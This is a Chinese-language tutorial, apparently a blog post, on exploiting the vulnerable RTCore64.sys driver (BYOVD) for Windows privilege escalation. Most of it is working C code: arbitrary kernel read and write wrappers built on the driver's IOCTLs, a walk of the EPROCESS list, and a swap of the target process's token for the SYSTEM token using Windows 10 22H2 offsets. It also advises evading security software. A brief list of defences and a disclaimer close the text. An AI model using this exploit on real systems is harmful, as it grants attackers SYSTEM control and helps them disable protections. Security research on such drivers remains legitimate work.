通过漏洞驱动进行权限提升-RTCore64.sys分析
字数 1496 2025-11-28 12:17:03
通过漏洞驱动进行权限提升 - RTCore64.sys 分析教学文档
0x01 前言
Bring Your Own Vulnerable Driver (BYOVD) 攻击技术中,最常见的应用场景是通过 ZwTerminateProcess 终止安全软件或 EDR 进程。然而,研究发现在 LOLDrivers 项目中存在的 RTCore64.sys 驱动可用于权限提升。本教学将详细分析该驱动的漏洞机制,并演示如何利用任意内核地址读写漏洞实现从应用层进行权限提升。
0x02 RTCore64.sys 驱动分析
驱动初始化过程
在 DriverEntry 函数中,驱动会创建设备对象 DeviceRTCore64 和符号链接 DosDevicesRTCore64,为后续用户态通信建立通道。
IOCTL 派遣函数分析
驱动主要处理两个关键 IOCTL 控制码:
- 0x80002048: 实现任意内核地址数据读取
- 0x8000204C: 实现任意内核地址数据写入
数据结构定义
typedef struct _RTCore64_Struct {
BYTE Unknown[8]; // 0x0
ULONG64 StartAddress; // 0x8 - 读写操作的起始地址
BYTE Unknown2[4]; // 0x10
ULONG Offset; // 0x14 - 从起始地址开始的偏移量
ULONG SizeType; // 0x18 - 读写操作的数据大小类型
ULONG Output; // 0x1C - 读取或写入的数据
BYTE Unknown3[16]; // 0x20
} RTCore64_Struct, *PRTCore64_Struct; // 总大小: 0x30
任意内核地址读取实现
基础读取函数
BOOL BasicRead(ULONG64 StartAddress, ULONG SizeType, PULONG Output) {
RTCore64_Struct rtcore64;
ZeroMemory(&rtcore64, sizeof(RTCore64_Struct));
rtcore64.StartAddress = StartAddress;
rtcore64.SizeType = SizeType;
HANDLE hDevice = CreateFileA("\\\\.\\RTCore64", GENERIC_READ | GENERIC_WRITE,
0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
if (hDevice == INVALID_HANDLE_VALUE) {
return FALSE;
}
DWORD bytesReturned;
BOOL bRet = DeviceIoControl(hDevice, 0x80002048, &rtcore64, sizeof(RTCore64_Struct),
&rtcore64, sizeof(RTCore64_Struct), &bytesReturned, NULL);
CloseHandle(hDevice);
if (!bRet) return FALSE;
*Output = rtcore64.Output;
return TRUE;
}
类型化读取函数
// 读取 BYTE 类型数据
BOOL ReadKernelBYTE(ULONG64 StartAddress, PBYTE Output) {
ULONG value = 0;
if (!BasicRead(StartAddress, 1, &value)) return FALSE;
*Output = (BYTE)(value & 0xFF);
return TRUE;
}
// 读取 WORD 类型数据
BOOL ReadKernelWORD(ULONG64 StartAddress, PWORD Output) {
ULONG value = 0;
if (!BasicRead(StartAddress, 2, &value)) return FALSE;
*Output = (WORD)(value & 0xFFFF);
return TRUE;
}
// 读取 DWORD 类型数据
BOOL ReadKernelDWORD(ULONG64 StartAddress, PDWORD Output) {
return BasicRead(StartAddress, 4, Output);
}
// 读取 QWORD 类型数据
BOOL ReadKernelQWORD(ULONG64 StartAddress, PULONG64 Output) {
ULONG low = 0, high = 0;
if (!BasicRead(StartAddress, 4, &low)) return FALSE;
if (!BasicRead(StartAddress + 4, 4, &high)) return FALSE;
*Output = ((ULONG64)high << 32) | low;
return TRUE;
}
任意内核地址写入实现
基础写入函数
BOOL BasicWrite(ULONG64 StartAddress, ULONG SizeType, ULONG Output) {
RTCore64_Struct rtcore64;
ZeroMemory(&rtcore64, sizeof(RTCore64_Struct));
rtcore64.StartAddress = StartAddress;
rtcore64.SizeType = SizeType;
rtcore64.Output = Output;
HANDLE hDevice = CreateFileA("\\\\.\\RTCore64", GENERIC_READ | GENERIC_WRITE,
0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
if (hDevice == INVALID_HANDLE_VALUE) return FALSE;
DWORD bytesReturned;
BOOL bRet = DeviceIoControl(hDevice, 0x8000204C, &rtcore64, sizeof(RTCore64_Struct),
&rtcore64, sizeof(RTCore64_Struct), &bytesReturned, NULL);
CloseHandle(hDevice);
return bRet;
}
// 写入 QWORD 类型数据
BOOL WriteKernelQWORD(ULONG64 StartAddress, ULONG64 Output) {
ULONG low = Output & 0xFFFFFFFF;
ULONG high = (Output >> 32) & 0xFFFFFFFF;
if (!BasicWrite(StartAddress, 4, low)) return FALSE;
if (!BasicWrite(StartAddress + 4, 4, high)) return FALSE;
return TRUE;
}
0x03 权限提升技术原理
EPROCESS 与 Token 机制
Windows 内核中,每个进程都有一个 EPROCESS 结构,其中包含 Token 指针(偏移量因系统版本而异)。Token 对象决定进程的安全上下文和权限级别。
EX_FAST_REF 结构分析
struct _EX_FAST_REF {
union {
VOID* Object; // 完整的指针值
ULONGLONG RefCnt:4; // 低4位为引用计数
ULONGLONG Value; // 完整64位值
};
};
权限提升核心思路
将目标进程的 Token 指针替换为 System 进程的 Token 指针,同时保留原始 Token 的低4位引用计数。
关键技术实现步骤
1. 获取内核基地址
ULONG64 GetKernelBase() {
ULONG cbNeeded = 0;
if (!EnumDeviceDrivers(NULL, 0, &cbNeeded)) return NULL;
ULONG64* lpImageBase = (ULONG64*)malloc(cbNeeded);
if (!lpImageBase) return NULL;
if (!EnumDeviceDrivers(lpImageBase, cbNeeded, &cbNeeded)) {
free(lpImageBase);
return NULL;
}
ULONG64 kernelBase = lpImageBase[0];
free(lpImageBase);
return kernelBase;
}
2. 获取 PsInitialSystemProcess 偏移量
ULONG GetPsInitialSystemProcessOffset() {
HMODULE hModule = LoadLibraryA("ntoskrnl.exe");
if (!hModule) return 0;
ULONG64 PsInitialSystemProcess = (ULONG64)GetProcAddress(hModule, "PsInitialSystemProcess");
if (!PsInitialSystemProcess) {
FreeLibrary(hModule);
return 0;
}
ULONG offset = (ULONG)(PsInitialSystemProcess - (ULONG64)hModule);
FreeLibrary(hModule);
return offset;
}
3. 获取 System 进程 EPROCESS 地址
ULONG64 GetSystemEprocessPtr() {
ULONG64 kernelBase = GetKernelBase();
if (!kernelBase) return 0;
ULONG offset = GetPsInitialSystemProcessOffset();
if (!offset) return 0;
ULONG64 psInitialSystemProcessAddr = kernelBase + offset;
ULONG64 systemEprocess = 0;
if (!ReadKernelQWORD(psInitialSystemProcessAddr, &systemEprocess)) return 0;
return systemEprocess;
}
4. 获取 System 进程 Token 指针
ULONG64 GetSystemTokenPtr(ULONG64 systemEprocess) {
ULONG64 token = 0;
// Windows 10 22H2 Token 偏移为 0x4b8
if (!ReadKernelQWORD(systemEprocess + 0x4b8, &token)) return 0;
return token;
}
5. 通过进程 PID 查找目标进程 EPROCESS
ULONG64 GetEprocessByPid(ULONG ProcessId) {
ULONG64 systemEprocess = GetSystemEprocessPtr();
if (!systemEprocess) return 0;
ULONG64 currentEprocess = systemEprocess;
ULONG currentPid = 0;
// 读取第一个进程的 PID
if (!ReadKernelDWORD(systemEprocess + 0x440, ¤tPid)) return 0;
// 遍历 ActiveProcessLinks 链表
while (currentPid != ProcessId) {
ULONG64 flink = 0;
// ActiveProcessLinks 偏移为 0x448
if (!ReadKernelQWORD(currentEprocess + 0x448, &flink)) return 0;
// 计算下一个 EPROCESS 地址
currentEprocess = flink - 0x448;
if (!ReadKernelDWORD(currentEprocess + 0x440, ¤tPid)) return 0;
// 防止无限循环
if (currentPid == 4) break; // System 进程 PID
}
return (currentPid == ProcessId) ? currentEprocess : 0;
}
6. 执行 Token 替换操作
BOOL ElevateToken(ULONG TargetPid) {
ULONG64 systemEprocess = GetSystemEprocessPtr();
if (!systemEprocess) return FALSE;
ULONG64 systemToken = GetSystemTokenPtr(systemEprocess);
if (!systemToken) return FALSE;
ULONG64 targetEprocess = GetEprocessByPid(TargetPid);
if (!targetEprocess) return FALSE;
ULONG64 targetToken = GetSystemTokenPtr(targetEprocess);
if (!targetToken) return FALSE;
// 保留引用计数,替换 Token 指针
systemToken = systemToken & ~0xF; // 清除低4位
ULONG targetTokenRefCount = targetToken & 0xF; // 获取原始引用计数
ULONG64 newToken = systemToken | targetTokenRefCount; // 组合新 Token
// 写入新的 Token 值(Windows 10 22H2 偏移 0x4b8)
if (!WriteKernelQWORD(targetEprocess + 0x4b8, newToken)) return FALSE;
return TRUE;
}
0x04 实际利用示例
操作流程
- 加载漏洞驱动: 确保 RTCore64.sys 正确加载并创建设备对象
- 获取当前进程 PID: 使用
GetCurrentProcessId()获取目标 PID - 执行权限提升: 调用
ElevateToken()函数替换 Token - 验证权限: 创建新进程验证是否获得 SYSTEM 权限
关键注意事项
- 系统版本适配: 不同 Windows 版本的 EPROCESS 结构偏移不同,需要根据目标系统调整
- 驱动加载权限: 需要管理员权限才能加载驱动程序
- 防检测措施: 实际利用中需要考虑绕过安全软件检测
- 稳定性考虑: 错误的内存访问可能导致系统蓝屏
0x05 防御建议
针对此类攻击的防护措施
- 驱动签名验证: 启用驱动签名强制验证
- 驱动程序黑名单: 维护已知漏洞驱动列表并阻止加载
- 内核补丁保护: 启用 PatchGuard 等内核保护机制
- 进程监控: 监控异常的 Token 替换行为
- 最小权限原则: 遵循最小权限原则运行应用程序
0x06 总结
通过分析 RTCore64.sys 驱动的漏洞机制,我们展示了如何利用任意内核地址读写漏洞实现权限提升。这种技术不仅限于终止安全进程,还能直接修改内核数据结构获取最高权限。理解这种攻击手法有助于更好地防御 BYOVD 攻击,并加强系统安全防护。
重要提示: 本教学文档仅用于安全研究和教育目的,实际利用此类漏洞可能违反法律法规,请在合法授权范围内使用这些技术。